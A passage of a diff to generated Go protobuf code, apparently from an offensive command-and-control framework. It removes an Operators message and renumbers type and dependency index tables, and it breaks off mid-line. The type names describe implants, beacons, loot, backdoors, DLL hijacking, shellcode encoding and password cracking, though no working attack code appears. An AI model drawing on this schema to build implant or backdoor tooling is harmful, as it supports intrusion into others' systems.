clientpb.WebsiteRemoveContent - (*Website)(nil), // 80: clientpb.Website - (*Websites)(nil), // 81: clientpb.Websites - (*WGClientConfig)(nil), // 82: clientpb.WGClientConfig - (*Loot)(nil), // 83: clientpb.Loot - (*AllLoot)(nil), // 84: clientpb.AllLoot - (*IOC)(nil), // 85: clientpb.IOC - (*ExtensionData)(nil), // 86: clientpb.ExtensionData - (*Host)(nil), // 87: clientpb.Host - (*AllHosts)(nil), // 88: clientpb.AllHosts - (*DllHijackReq)(nil), // 89: clientpb.DllHijackReq - (*DllHijack)(nil), // 90: clientpb.DllHijack - (*BackdoorReq)(nil), // 91: clientpb.BackdoorReq - (*Backdoor)(nil), // 92: clientpb.Backdoor - (*ShellcodeEncodeReq)(nil), // 93: clientpb.ShellcodeEncodeReq - (*ShellcodeEncode)(nil), // 94: clientpb.ShellcodeEncode - (*ShellcodeEncoderMap)(nil), // 95: clientpb.ShellcodeEncoderMap - (*ExternalGenerateReq)(nil), // 96: clientpb.ExternalGenerateReq - (*Builders)(nil), // 97: clientpb.Builders - (*Builder)(nil), // 98: clientpb.Builder - (*Credential)(nil), // 99: clientpb.Credential - (*Credentials)(nil), // 100: clientpb.Credentials - (*Crackstations)(nil), // 101: clientpb.Crackstations - (*CrackstationStatus)(nil), // 102: clientpb.CrackstationStatus - (*CrackSyncStatus)(nil), // 103: clientpb.CrackSyncStatus - (*CrackBenchmark)(nil), // 104: clientpb.CrackBenchmark - (*CrackTask)(nil), // 105: clientpb.CrackTask - (*Crackstation)(nil), // 106: clientpb.Crackstation - (*CUDABackendInfo)(nil), // 107: clientpb.CUDABackendInfo - (*OpenCLBackendInfo)(nil), // 108: clientpb.OpenCLBackendInfo - (*MetalBackendInfo)(nil), // 109: clientpb.MetalBackendInfo - (*CrackCommand)(nil), // 110: clientpb.CrackCommand - (*CrackConfig)(nil), // 111: clientpb.CrackConfig - (*CrackFiles)(nil), // 112: clientpb.CrackFiles - (*CrackFile)(nil), // 113: clientpb.CrackFile - (*CrackFileChunk)(nil), // 114: clientpb.CrackFileChunk - nil, // 115: clientpb.TrafficEncoderMap.EncodersEntry - nil, // 116: clientpb.ImplantBuilds.ConfigsEntry - nil, // 117: clientpb.WebsiteAddContent.ContentsEntry - nil, // 118: clientpb.Website.ContentsEntry - nil, // 119: clientpb.Host.ExtensionDataEntry - nil, // 120: clientpb.ShellcodeEncoderMap.EncodersEntry - nil, // 121: clientpb.CrackSyncStatus.ProgressEntry - nil, // 122: clientpb.CrackBenchmark.BenchmarksEntry - nil, // 123: clientpb.Crackstation.BenchmarksEntry - (*commonpb.File)(nil), // 124: commonpb.File - (*commonpb.Request)(nil), // 125: commonpb.Request - (*commonpb.Response)(nil), // 126: commonpb.Response + (*Operator)(nil), // 75: clientpb.Operator + (*WebContent)(nil), // 76: clientpb.WebContent + (*WebsiteAddContent)(nil), // 77: clientpb.WebsiteAddContent + (*WebsiteRemoveContent)(nil), // 78: clientpb.WebsiteRemoveContent + (*Website)(nil), // 79: clientpb.Website + (*Websites)(nil), // 80: clientpb.Websites + (*WGClientConfig)(nil), // 81: clientpb.WGClientConfig + (*Loot)(nil), // 82: clientpb.Loot + (*AllLoot)(nil), // 83: clientpb.AllLoot + (*IOC)(nil), // 84: clientpb.IOC + (*ExtensionData)(nil), // 85: clientpb.ExtensionData + (*Host)(nil), // 86: clientpb.Host + (*AllHosts)(nil), // 87: clientpb.AllHosts + (*DllHijackReq)(nil), // 88: clientpb.DllHijackReq + (*DllHijack)(nil), // 89: clientpb.DllHijack + (*BackdoorReq)(nil), // 90: clientpb.BackdoorReq + (*Backdoor)(nil), // 91: clientpb.Backdoor + (*ShellcodeEncodeReq)(nil), // 92: clientpb.ShellcodeEncodeReq + (*ShellcodeEncode)(nil), // 93: clientpb.ShellcodeEncode + (*ShellcodeEncoderMap)(nil), // 94: clientpb.ShellcodeEncoderMap + (*ExternalGenerateReq)(nil), // 95: clientpb.ExternalGenerateReq + (*Builders)(nil), // 96: clientpb.Builders + (*Builder)(nil), // 97: clientpb.Builder + (*Credential)(nil), // 98: clientpb.Credential + (*Credentials)(nil), // 99: clientpb.Credentials + (*Crackstations)(nil), // 100: clientpb.Crackstations + (*CrackstationStatus)(nil), // 101: clientpb.CrackstationStatus + (*CrackSyncStatus)(nil), // 102: clientpb.CrackSyncStatus + (*CrackBenchmark)(nil), // 103: clientpb.CrackBenchmark + (*CrackTask)(nil), // 104: clientpb.CrackTask + (*Crackstation)(nil), // 105: clientpb.Crackstation + (*CUDABackendInfo)(nil), // 106: clientpb.CUDABackendInfo + (*OpenCLBackendInfo)(nil), // 107: clientpb.OpenCLBackendInfo + (*MetalBackendInfo)(nil), // 108: clientpb.MetalBackendInfo + (*CrackCommand)(nil), // 109: clientpb.CrackCommand + (*CrackConfig)(nil), // 110: clientpb.CrackConfig + (*CrackFiles)(nil), // 111: clientpb.CrackFiles + (*CrackFile)(nil), // 112: clientpb.CrackFile + (*CrackFileChunk)(nil), // 113: clientpb.CrackFileChunk + nil, // 114: clientpb.TrafficEncoderMap.EncodersEntry + nil, // 115: clientpb.ImplantBuilds.ConfigsEntry + nil, // 116: clientpb.WebsiteAddContent.ContentsEntry + nil, // 117: clientpb.Website.ContentsEntry + nil, // 118: clientpb.Host.ExtensionDataEntry + nil, // 119: clientpb.ShellcodeEncoderMap.EncodersEntry + nil, // 120: clientpb.CrackSyncStatus.ProgressEntry + nil, // 121: clientpb.CrackBenchmark.BenchmarksEntry + nil, // 122: clientpb.Crackstation.BenchmarksEntry + (*commonpb.File)(nil), // 123: commonpb.File + (*commonpb.Request)(nil), // 124: commonpb.Request + (*commonpb.Response)(nil), // 125: commonpb.Response } var file_clientpb_client_proto_depIdxs = []int32{ 15, // 0: clientpb.Beacons.Beacons:type_name -> clientpb.Beacon 17, // 1: clientpb.BeaconTasks.Tasks:type_name -> clientpb.BeaconTask 19, // 2: clientpb.ImplantConfig.C2:type_name -> clientpb.ImplantC2 0, // 3: clientpb.ImplantConfig.Format:type_name -> clientpb.OutputFormat - 124, // 4: clientpb.ImplantConfig.Assets:type_name -> commonpb.File - 124, // 5: clientpb.TrafficEncoder.Wasm:type_name -> commonpb.File - 115, // 6: clientpb.TrafficEncoderMap.Encoders:type_name -> clientpb.TrafficEncoderMap.EncodersEntry + 123, // 4: clientpb.ImplantConfig.Assets:type_name -> commonpb.File + 123, // 5: clientpb.TrafficEncoder.Wasm:type_name -> commonpb.File + 114, // 6: clientpb.TrafficEncoderMap.Encoders:type_name -> clientpb.TrafficEncoderMap.EncodersEntry 21, // 7: clientpb.TrafficEncoderTests.Encoder:type_name -> clientpb.TrafficEncoder 23, // 8: clientpb.TrafficEncoderTests.Tests:type_name -> clientpb.TrafficEncoderTest 20, // 9: clientpb.ExternalImplantConfig.Config:type_name -> clientpb.ImplantConfig - 124, // 10: clientpb.ExternalImplantBinary.File:type_name -> commonpb.File - 116, // 11: clientpb.ImplantBuilds.Configs:type_name -> clientpb.ImplantBuilds.ConfigsEntry + 123, // 10: clientpb.ExternalImplantBinary.File:type_name -> commonpb.File + 115, // 11: clientpb.ImplantBuilds.Configs:type_name -> clientpb.ImplantBuilds.ConfigsEntry 0, // 12: clientpb.CompilerTarget.Format:type_name -> clientpb.OutputFormat 28, // 13: clientpb.Compiler.Targets:type_name -> clientpb.CompilerTarget 29, // 14: clientpb.Compiler.CrossCompilers:type_name -> clientpb.CrossCompiler @@ -11158,86 +11108,85 @@ var file_clientpb_client_proto_depIdxs = []int32{ 20, // 17: clientpb.ImplantProfile.Config:type_name -> clientpb.ImplantConfig 35, // 18: clientpb.ImplantProfiles.Profiles:type_name -> clientpb.ImplantProfile 38, // 19: clientpb.Jobs.Active:type_name -> clientpb.Job - 125, // 20: clientpb.NamedPipesReq.Request:type_name -> commonpb.Request - 126, // 21: clientpb.NamedPipes.Response:type_name -> commonpb.Response - 125, // 22: clientpb.TCPPivotReq.Request:type_name -> commonpb.Request - 126, // 23: clientpb.TCPPivot.Response:type_name -> commonpb.Response + 124, // 20: clientpb.NamedPipesReq.Request:type_name -> commonpb.Request + 125, // 21: clientpb.NamedPipes.Response:type_name -> commonpb.Response + 124, // 22: clientpb.TCPPivotReq.Request:type_name -> commonpb.Request + 125, // 23: clientpb.TCPPivot.Response:type_name -> commonpb.Response 14, // 24: clientpb.Sessions.Sessions:type_name -> clientpb.Session 20, // 25: clientpb.GenerateReq.Config:type_name -> clientpb.ImplantConfig - 124, // 26: clientpb.Generate.File:type_name -> commonpb.File - 125, // 27: clientpb.MSFReq.Request:type_name -> commonpb.Request - 125, // 28: clientpb.MSFRemoteReq.Request:type_name -> commonpb.Request + 123, // 26: clientpb.Generate.File:type_name -> commonpb.File + 124, // 27: clientpb.MSFReq.Request:type_name -> commonpb.Request + 124, // 28: clientpb.MSFRemoteReq.Request:type_name -> commonpb.Request 1, // 29: clientpb.StagerListenerReq.Protocol:type_name -> clientpb.StageProtocol 1, // 30: clientpb.MsfStagerReq.Protocol:type_name -> clientpb.StageProtocol - 124, // 31: clientpb.MsfStager.File:type_name -> commonpb.File + 123, // 31: clientpb.MsfStager.File:type_name -> commonpb.File 20, // 32: clientpb.GetSystemReq.Config:type_name -> clientpb.ImplantConfig - 125, // 33: clientpb.GetSystemReq.Request:type_name -> commonpb.Request + 124, // 33: clientpb.GetSystemReq.Request:type_name -> commonpb.Request 20, // 34: clientpb.MigrateReq.Config:type_name -> clientpb.ImplantConfig 3, // 35: clientpb.MigrateReq.Encoder:type_name -> clientpb.ShellcodeEncoder - 125, // 36: clientpb.MigrateReq.Request:type_name -> commonpb.Request - 125, // 37: clientpb.CreateTunnelReq.Request:type_name -> commonpb.Request - 125, // 38: clientpb.CloseTunnelReq.Request:type_name -> commonpb.Request + 124, // 36: clientpb.MigrateReq.Request:type_name -> commonpb.Request + 124, // 37: clientpb.CreateTunnelReq.Request:type_name -> commonpb.Request + 124, // 38: clientpb.CloseTunnelReq.Request:type_name -> commonpb.Request 14, // 39: clientpb.PivotGraphEntry.Session:type_name -> clientpb.Session 71, // 40: clientpb.PivotGraphEntry.Children:type_name -> clientpb.PivotGraphEntry 71, // 41: clientpb.PivotGraph.Children:type_name -> clientpb.PivotGraphEntry - 76, // 42: clientpb.Client.Operator:type_name -> clientpb.Operator + 75, // 42: clientpb.Client.Operator:type_name -> clientpb.Operator 14, // 43: clientpb.Event.Session:type_name -> clientpb.Session 38, // 44: clientpb.Event.Job:type_name -> clientpb.Job 73, // 45: clientpb.Event.Client:type_name -> clientpb.Client - 76, // 46: clientpb.Operators.Operators:type_name -> clientpb.Operator - 117, // 47: clientpb.WebsiteAddContent.Contents:type_name -> clientpb.WebsiteAddContent.ContentsEntry - 118, // 48: clientpb.Website.Contents:type_name -> clientpb.Website.ContentsEntry - 80, // 49: clientpb.Websites.Websites:type_name -> clientpb.Website - 2, // 50: clientpb.Loot.FileType:type_name -> clientpb.FileType - 124, // 51: clientpb.Loot.File:type_name -> commonpb.File - 83, // 52: clientpb.AllLoot.Loot:type_name -> clientpb.Loot - 85, // 53: clientpb.Host.IOCs:type_name -> clientpb.IOC - 119, // 54: clientpb.Host.ExtensionData:type_name -> clientpb.Host.ExtensionDataEntry - 87, // 55: clientpb.AllHosts.Hosts:type_name -> clientpb.Host - 125, // 56: clientpb.DllHijackReq.Request:type_name -> commonpb.Request - 126, // 57: clientpb.DllHijack.Response:type_name -> commonpb.Response - 125, // 58: clientpb.BackdoorReq.Request:type_name -> commonpb.Request - 126, // 59: clientpb.Backdoor.Response:type_name -> commonpb.Response - 3, // 60: clientpb.ShellcodeEncodeReq.Encoder:type_name -> clientpb.ShellcodeEncoder - 125, // 61: clientpb.ShellcodeEncodeReq.Request:type_name -> commonpb.Request - 126, // 62: clientpb.ShellcodeEncode.Response:type_name -> commonpb.Response - 120, // 63: clientpb.ShellcodeEncoderMap.Encoders:type_name -> clientpb.ShellcodeEncoderMap.EncodersEntry - 20, // 64: clientpb.ExternalGenerateReq.Config:type_name -> clientpb.ImplantConfig - 98, // 65: clientpb.Builders.Builders:type_name -> clientpb.Builder - 28, // 66: clientpb.Builder.Targets:type_name -> clientpb.CompilerTarget - 29, // 67: clientpb.Builder.CrossCompilers:type_name -> clientpb.CrossCompiler - 4, // 68: clientpb.Credential.HashType:type_name -> clientpb.HashType - 99, // 69: clientpb.Credentials.Credentials:type_name -> clientpb.Credential - 106, // 70: clientpb.Crackstations.Crackstations:type_name -> clientpb.Crackstation - 5, // 71: clientpb.CrackstationStatus.State:type_name -> clientpb.States - 103, // 72: clientpb.CrackstationStatus.Syncing:type_name -> clientpb.CrackSyncStatus - 121, // 73: clientpb.CrackSyncStatus.Progress:type_name -> clientpb.CrackSyncStatus.ProgressEntry - 122, // 74: clientpb.CrackBenchmark.Benchmarks:type_name -> clientpb.CrackBenchmark.BenchmarksEntry - 110, // 75: clientpb.CrackTask.Command:type_name -> clientpb.CrackCommand - 123, // 76: clientpb.Crackstation.Benchmarks:type_name -> clientpb.Crackstation.BenchmarksEntry - 107, // 77: clientpb.Crackstation.CUDA:type_name -> clientpb.CUDABackendInfo - 109, // 78: clientpb.Crackstation.Metal:type_name -> clientpb.MetalBackendInfo - 108, // 79: clientpb.Crackstation.OpenCL:type_name -> clientpb.OpenCLBackendInfo - 7, // 80: clientpb.CrackCommand.AttackMode:type_name -> clientpb.CrackAttackMode - 4, // 81: clientpb.CrackCommand.HashType:type_name -> clientpb.HashType - 9, // 82: clientpb.CrackCommand.OutfileFormat:type_name -> clientpb.CrackOutfileFormat - 8, // 83: clientpb.CrackCommand.EncodingFrom:type_name -> clientpb.CrackEncoding - 8, // 84: clientpb.CrackCommand.EncodingTo:type_name -> clientpb.CrackEncoding - 10, // 85: clientpb.CrackCommand.WorkloadProfile:type_name -> clientpb.CrackWorkloadProfile - 113, // 86: clientpb.CrackFiles.Files:type_name -> clientpb.CrackFile - 11, // 87: clientpb.CrackFile.Type:type_name -> clientpb.CrackFileType - 114, // 88: clientpb.CrackFile.Chunks:type_name -> clientpb.CrackFileChunk - 21, // 89: clientpb.TrafficEncoderMap.EncodersEntry.value:type_name -> clientpb.TrafficEncoder - 20, // 90: clientpb.ImplantBuilds.ConfigsEntry.value:type_name -> clientpb.ImplantConfig - 77, // 91: clientpb.WebsiteAddContent.ContentsEntry.value:type_name -> clientpb.WebContent - 77, // 92: clientpb.Website.ContentsEntry.value:type_name -> clientpb.WebContent - 86, // 93: clientpb.Host.ExtensionDataEntry.value:type_name -> clientpb.ExtensionData - 3, // 94: clientpb.ShellcodeEncoderMap.EncodersEntry.value:type_name -> clientpb.ShellcodeEncoder - 95, // [95:95] is the sub-list for method output_type - 95, // [95:95] is the sub-list for method input_type - 95, // [95:95] is the sub-list for extension type_name - 95, // [95:95] is the sub-list for extension extendee - 0, // [0:95] is the sub-list for field type_name + 116, // 46: clientpb.WebsiteAddContent.Contents:type_name -> clientpb.WebsiteAddContent.ContentsEntry + 117, // 47: clientpb.Website.Contents:type_name -> clientpb.Website.ContentsEntry + 79, // 48: clientpb.Websites.Websites:type_name -> clientpb.Website + 2, // 49: clientpb.Loot.FileType:type_name -> clientpb.FileType + 123, // 50: clientpb.Loot.File:type_name -> commonpb.File + 82, // 51: clientpb.AllLoot.Loot:type_name -> clientpb.Loot + 84, // 52: clientpb.Host.IOCs:type_name -> clientpb.IOC + 118, // 53: clientpb.Host.ExtensionData:type_name -> clientpb.Host.ExtensionDataEntry + 86, // 54: clientpb.AllHosts.Hosts:type_name -> clientpb.Host + 124, // 55: clientpb.DllHijackReq.Request:type_name -> commonpb.Request + 125, // 56: clientpb.DllHijack.Response:type_name -> commonpb.Response + 124, // 57: clientpb.BackdoorReq.Request:type_name -> commonpb.Request + 125, // 58: clientpb.Backdoor.Response:type_name -> commonpb.Response + 3, // 59: clientpb.ShellcodeEncodeReq.Encoder:type_name -> clientpb.ShellcodeEncoder + 124, // 60: clientpb.ShellcodeEncodeReq.Request:type_name -> commonpb.Request + 125, // 61: clientpb.ShellcodeEncode.Response:type_name -> commonpb.Response + 119, // 62: clientpb.ShellcodeEncoderMap.Encoders:type_name -> clientpb.ShellcodeEncoderMap.EncodersEntry + 20, // 63: clientpb.ExternalGenerateReq.Config:type_name -> clientpb.ImplantConfig + 97, // 64: clientpb.Builders.Builders:type_name -> clientpb.Builder + 28, // 65: clientpb.Builder.Targets:type_name -> clientpb.CompilerTarget + 29, // 66: clientpb.Builder.CrossCompilers:type_name -> clientpb.CrossCompiler + 4, // 67: clientpb.Credential.HashType:type_name -> clientpb.HashType + 98, // 68: clientpb.Credentials.Credentials:type_name -> clientpb.Credential + 105, // 69: clientpb.Crackstations.Crackstations:type_name -> clientpb.Crackstation + 5, // 70: clientpb.CrackstationStatus.State:type_name -> clientpb.States + 102, // 71: clientpb.CrackstationStatus.Syncing:type_name -> clientpb.CrackSyncStatus + 120, // 72: clientpb.CrackSyncStatus.Progress:type_name -> clientpb.CrackSyncStatus.ProgressEntry + 121, // 73: clientpb.CrackBenchmark.Benchmarks:type_name -> clientpb.CrackBenchmark.BenchmarksEntry + 109, // 74: clientpb.CrackTask.Command:type_name -> clientpb.CrackCommand + 122, // 75: clientpb.Crackstation.Benchmarks:type_name -> clientpb.Crackstation.BenchmarksEntry + 106, // 76: clientpb.Crackstation.CUDA:type_name -> clientpb.CUDABackendInfo + 108, // 77: clientpb.Crackstation.Metal:type_name -> clientpb.MetalBackendInfo + 107, // 78: clientpb.Crackstation.OpenCL:type_name -> clientpb.OpenCLBackendInfo + 7, // 79: clientpb.CrackCommand.AttackMode:type_name -> clientpb.CrackAttackMode + 4, // 80: clientpb.CrackCommand.HashType:type_name -> clientpb.HashType + 9, // 81: clientpb.CrackCommand.OutfileFormat:type_name -> clientpb.CrackOutfileFormat + 8, // 82: clientpb.CrackCommand.EncodingFrom:type_name -> clientpb.CrackEncoding + 8, // 83: clientpb.CrackCommand.EncodingTo:type_name -> clientpb.CrackEncoding + 10, // 84: clientpb.CrackCommand.WorkloadProfile:type_name -> clientpb.CrackWorkloadProfile + 112, // 85: clientpb.CrackFiles.Files:type_name -> clientpb.CrackFile + 11, // 86: clientpb.CrackFile.Type:type_name -> clientpb.CrackFileType + 113, // 87: clientpb.CrackFile.Chunks:type_name -> clientpb.CrackFileChunk + 21, // 88: clientpb.TrafficEncoderMap.EncodersEntry.value:type_name -> clientpb.TrafficEncoder + 20, // 89: clientpb.ImplantBuilds.ConfigsEntry.value:type_name -> clientpb.ImplantConfig + 76, // 90: clientpb.WebsiteAddContent.ContentsEntry.value:type_name -> clientpb.WebContent + 76, // 91: clientpb.Website.ContentsEntry.value:type_name -> clientpb.WebContent + 85, // 92: clientpb.Host.ExtensionDataEntry.value:type_name -> clientpb.ExtensionData + 3, // 93: clientpb.ShellcodeEncoderMap.EncodersEntry.value:type_name -> clientpb.ShellcodeEncoder + 94, // [94:94] is the sub-list for method output_type + 94, // [94:94] is the sub-list for method input_type + 94, // [94:94] is the sub-list for extension type_name + 94, // [94:94] is the sub-list for extension extendee + 0, // [0:94] is the sub-list for field type_name } func init() { file_clientpb_client_proto_init() } @@ -12003,18 +11952,6 @@ func file_clientpb_client_proto_init() { } } file_clientpb_client_proto_msgTypes[63].Exporter = func(v interface{}, i int) interface{} { - switch v := v.(*Operators); i { - case 0: - return &v.state - case 1: - return &v.sizeCache - case 2: - return &v.unknownFields - default: - return nil - } - } - file_clientpb_client_proto_msgTypes[64].Exporter = func(v interface{}, i int) interface{} { switch v := v.(*Operator); i { case 0: return &v.state @@ -12026,7 +11963,7 @@ func file_clientpb_client_proto_init() { return nil } } - file_clientpb_client_proto_msgTypes[65].Exporter = func(v interface{}, i int) interface{} { + file_clientpb_client_proto_msgTypes[64].Exporter = func(v interface{}, i int) interface{} { switch v := v.(*WebContent); i { case 0: return &v.state @@ -12038,7 +11975,7 @@ func file_clientpb_client_proto_init() { return nil } } - file_clientpb_client_proto_msgTypes[66].Exporter = func(v interface{}, i int) interface{} { + file_clientpb_client_proto_msgTypes[65].Exporter = func(v interface{}, i int) interface{} { switch v := v.(*WebsiteAddContent); i { case 0: return &v.state @@ -12050,7 +11987,7 @@ func file_clientpb_client_proto_init() { return nil } } - file_clientpb_client_proto_msgTypes[67].Exporter = func(v interface{}, i int) interface{} { + file_clientpb_client_proto_msgTypes[66].Exporter = func(v interface{}, i int) interface{} { switch v := v.(*WebsiteRemoveContent); i { case 0: return &v.state @@ -12062,7 +11999,7 @@ func file_clientpb_client_proto_init() { return nil } } - file_clientpb_client_proto_msgTypes[68].Exporter = func(v interface{}, i int) interface{} { + file_clientpb_client_proto_msgTypes[67].Exporter = func(v interface{}, i int) interface{} { switch v := v.(*Website); i { case 0: return &v.state @@ -12074,7 +12011,7 @@ func file_clientpb_client_proto_init() { return nil } } - file_clientpb_client_proto_msgTypes[69].Exporter = func(v interface{}, i int) interface{} { + file_clientpb_client_proto_msgTypes[68].Exporter = func(v interface{}, i int) interface{} { switch v := v.(*Websites); i { case 0: return &v.state @@ -12086,7 +12023,7 @@ func file_clientpb_client_proto_init() { return nil } } - file_clientpb_client_proto_msgTypes[70].Exporter = func(v interface{}, i int) interface{} { + file_clientpb_client_proto_msgTypes[69].Exporter = func(v interface{}, i int) interface{} { switch v := v.(*WGClientConfig); i { case 0: return &v.state @@ -12098,7 +12035,7 @@ func file_clientpb_client_proto_init() { return nil } } - file_clientpb_client_proto_msgTypes[71].Exporter = func(v interface{}, i int) interface{} { + file_clientpb_client_proto_msgTypes[70].Exporter = func(v interface{}, i int) interface{} { switch v := v.(*Loot); i { case 0: return &v.state @@ -12110,7 +12047,7 @@ func file_clientpb_client_proto_init() { return nil } } - file_clientpb_client_proto_msgTypes[72].Exporter = func(v interface{}, i int) interface{} { + file_clientpb_client_proto_msgTypes[71].Exporter = func(v interface{}, i int) interface{} { switch v := v.(*AllLoot); i { case 0: return &v.state @@ -12122,7 +12059,7 @@ func file_clientpb_client_proto_init() { return nil } } - file_clientpb_client_proto_msgTypes[73].Exporter = func(v interface{}, i int) interface{} { + file_clientpb_client_proto_msgTypes[72].Exporter = func(v interface{}, i int) interface{} { switch v := v.(*IOC); i { case 0: return &v.state @@ -12134,7 +12071,7 @@ func file_clientpb_client_proto_init() { return nil } } - file_clientpb_client_proto_msgTypes[74].Exporter = func(v interface{}, i int) interface{} { + file_clientpb_client_proto_msgTypes[73].Exporter = func(v interface{}, i int) interface{} { switch v := v.(*ExtensionData); i { case 0: return &v.state @@ -12146,7 +12083,7 @@ func file_clientpb_client_proto_init() { return nil } } - file_clientpb_client_proto_msgTypes[75].Exporter = func(v interface{}, i int) interface{} { + file_clientpb_client_proto_msgTypes[74].Exporter = func(v interface{}, i int) interface{} { switch v := v.(*Host); i { case 0: return &v.state @@ -12158,7 +12095,7 @@ func file_clientpb_client_proto_init() { return nil } } - file_clientpb_client_proto_msgTypes[76].Exporter = func(v interface{}, i int) interface{} { + file_clientpb_client_proto_msgTypes[75].Exporter = func(v interface{}, i int) interface{} { switch v := v.(*AllHosts); i { case 0: return &v.state @@ -12170,7 +12107,7 @@ func file_clientpb_client_proto_init() { return nil } } - file_clientpb_client_proto_msgTypes[77].Exporter = func(v interface{}, i int) interface{} { + file_clientpb_client_proto_msgTypes[76].Exporter = func(v interface{}, i int) interface{} { switch v := v.(*DllHijackReq); i { case 0: return &v.state @@ -12182,7 +12119,7 @@ func file_clientpb_client_proto_init() { return nil } } - file_clientpb_client_proto_msgTypes[78].Exporter = func(v interface{}, i int) interface{} { + file_clientpb_client_proto_msgTypes[77].Exporter = func(v interface{}, i int) interface{} { switch v := v.(*DllHijack); i { case 0: return &v.state @@ -12194,7 +12131,7 @@ func file_clientpb_client_proto_init() { return nil } } - file_clientpb_client_proto_msgTypes[79].Exporter = func(v interface{}, i int) interface{} { + file_clientpb_client_proto_msgTypes[78].Exporter = func(v interface{}, i int) interface{} { switch v := v.(*BackdoorReq); i { case 0: return &v.state @@ -12206,7 +12143,7 @@ func file_clientpb_client_proto_init() { return nil } } - file_clientpb_client_proto_msgTypes[80].Exporter = func(v interface{}, i int) interface{} { + file_clientpb_client_proto_msgTypes[79].Exporter = func(v interface{}, i int) interface{} { switch v := v.(*Backdoor); i { case 0: return &v.state @@ -12218,7 +12155,7 @@ func file_clientpb_client_proto_init() { return nil } } - file_clientpb_client_proto_msgTypes[81].Exporter = func(v interface{}, i int) interface{} { + file_clientpb_client_proto_msgTypes[80].Exporter = func(v interface{}, i int) interface{} { switch v := v.(*ShellcodeEncodeReq); i { case 0: return &v.state @@ -12230,7 +12167,7 @@ func file_clientpb_client_proto_init() { return nil } } - file_clientpb_client_proto_msgTypes[82].Exporter = func(v interface{}, i int) interface{} { + file_clientpb_client_proto_msgTypes[81].Exporter = func(v interface{}, i int) interface{} { switch v := v.(*ShellcodeEncode); i { case 0: return &v.state @@ -12242,7 +12179,7 @@ func file_clientpb_client_proto_init() { return nil } } - file_clientpb_client_proto_msgTypes[83].Exporter = func(v interface{}, i int) interface{} { + file_clientpb_client_proto_msgTypes[82].Exporter = func(v interface{}, i int) interface{} { switch v := v.(*ShellcodeEncoderMap); i { case 0: return &v.state @@ -12254,7 +12191,7 @@ func file_clientpb_client_proto_init() { return nil } } - file_clientpb_client_proto_msgTypes[84].Exporter = func(v interface{}, i int) interface{} { + file_clientpb_client_proto_msgTypes[83].Exporter = func(v interface{}, i int) interface{} { switch v := v.(*ExternalGenerateReq); i { case 0: return &v.state @@ -12266,7 +12203,7 @@ func file_clientpb_client_proto_init() { return nil } } - file_clientpb_client_proto_msgTypes[85].Exporter = func(v interface{}, i int) interface{} { + file_clientpb_client_proto_msgTypes[84].Exporter = func(v interface{}, i int) interface{} { switch v := v.(*Builders); i { case 0: return &v.state @@ -12278,7 +12215,7 @@ func file_clientpb_client_proto_init() { return nil } } - file_clientpb_client_proto_msgTypes[86].Exporter = func(v interface{}, i int) interface{} { + file_clientpb_client_proto_msgTypes[85].Exporter = func(v interface{}, i int) interface{} { switch v := v.(*Builder); i { case 0: return &v.state @@ -12290,7 +12227,7 @@ func file_clientpb_client_proto_init() { return nil } } - file_clientpb_client_proto_msgTypes[87].Exporter = func(v interface{}, i int) interface{} { + file_clientpb_client_proto_msgTypes[86].Exporter = func(v interface{}, i int) interface{} { switch v := v.(*Credential); i { case 0: return &v.state @@ -12302,7 +12239,7 @@ func file_clientpb_client_proto_init() { return nil } } - file_clientpb_client_proto_msgTypes[88].Exporter = func(v interface{}, i int) interface{} { + file_clientpb_client_proto_msgTypes[87].Exporter = func(v interface{}, i int) interface{} { switch v := v.(*Credentials); i { case 0: return &v.state @@ -12314,7 +12251,7 @@ func file_clientpb_client_proto_init() { return nil } } - file_clientpb_client_proto_msgTypes[89].Exporter = func(v interface{}, i int) interface{} { + file_clientpb_client_proto_msgTypes[88].Exporter = func(v interface{}, i int) interface{} { switch v := v.(*Crackstations); i { case 0: return &v.state @@ -12326,7 +12263,7 @@ func file_clientpb_client_proto_init() { return nil } } - file_clientpb_client_proto_msgTypes[90].Exporter = func(v interface{}, i int) interface{} { + file_clientpb_client_proto_msgTypes[89].Exporter = func(v interface{}, i int) interface{} { switch v := v.(*CrackstationStatus); i { case 0: return &v.state @@ -12338,7 +12275,7 @@ func file_clientpb_client_proto_init() { return nil } } - file_clientpb_client_proto_msgTypes[91].Exporter = func(v interface{}, i int) interface{} { + file_clientpb_client_proto_msgTypes[90].Exporter = func(v interface{}, i int) interface{} { switch v := v.(*CrackSyncStatus); i { case 0: return &v.state @@ -12350,7 +12287,7 @@ func file_clientpb_client_proto_init() { return nil } } - file_clientpb_client_proto_msgTypes[92].Exporter = func(v interface{}, i int) interface{} { + file_clientpb_client_proto_msgTypes[91].Exporter = func(v interface{}, i int) interface{} { switch v := v.(*CrackBenchmark); i { case 0: return &v.state @@ -12362,7 +12299,7 @@ func file_clientpb_client_proto_init() { return nil } } - file_clientpb_client_proto_msgTypes[93].Exporter = func(v interface{}, i int) interface{} { + file_clientpb_client_proto_msgTypes[92].Exporter = func(v interface{}, i int) interface{} { switch v := v.(*CrackTask); i { case 0: return &v.state @@ -12374,7 +12311,7 @@ func file_clientpb_client_proto_init() { return nil } } - file_clientpb_client_proto_msgTypes[94].Exporter = func(v interface{}, i int) interface{} { + file_clientpb_client_proto_msgTypes[93].Exporter = func(v interface{}, i int) interface{} { switch v := v.(*Crackstation); i { case 0: return &v.state @@ -12386,7 +12323,7 @@ func file_clientpb_client_proto_init() { return nil } } - file_clientpb_client_proto_msgTypes[95].Exporter = func(v interface{}, i int) interface{} { + file_clientpb_client_proto_msgTypes[94].Exporter = func(v interface{}, i int) interface{} { switch v := v.(*CUDABackendInfo); i { case 0: return &v.state @@ -12398,7 +12335,7 @@ func file_clientpb_client_proto_init() { return nil } } - file_clientpb_client_proto_msgTypes[96].Exporter = func(v interface{}, i int) interface{} { + file_clientpb_client_proto_msgTypes[95].Exporter = func(v interface{}, i int) interface{} { switch v := v.(*OpenCLBackendInfo); i { case 0: return &v.state @@ -12410,7 +12347,7 @@ func file_clientpb_client_proto_init() { return nil } } - file_clientpb_client_proto_msgTypes[97].Exporter = func(v interface{}, i int) interface{} { + file_clientpb_client_proto_msgTypes[96].Exporter = func(v interface{}, i int) interface{} { switch v := v.(*MetalBackendInfo); i { case 0: return &v.state @@ -12422,7 +12359,7 @@ func file_clientpb_client_proto_init() { return nil } } - file_clientpb_client_proto_msgTypes[98].Exporter = func(v interface{}, i int) interface{} { + file_clientpb_client_proto_msgTypes[97].Exporter = func(v interface{}, i int) interface{} { switch v := v.(*CrackCommand); i { case 0: return &v.state @@ -12434,7 +12371,7 @@ func file_clientpb_client_proto_init() { return nil } } - file_clientpb_client_proto_msgTypes[99].Exporter = func(v interface{}, i 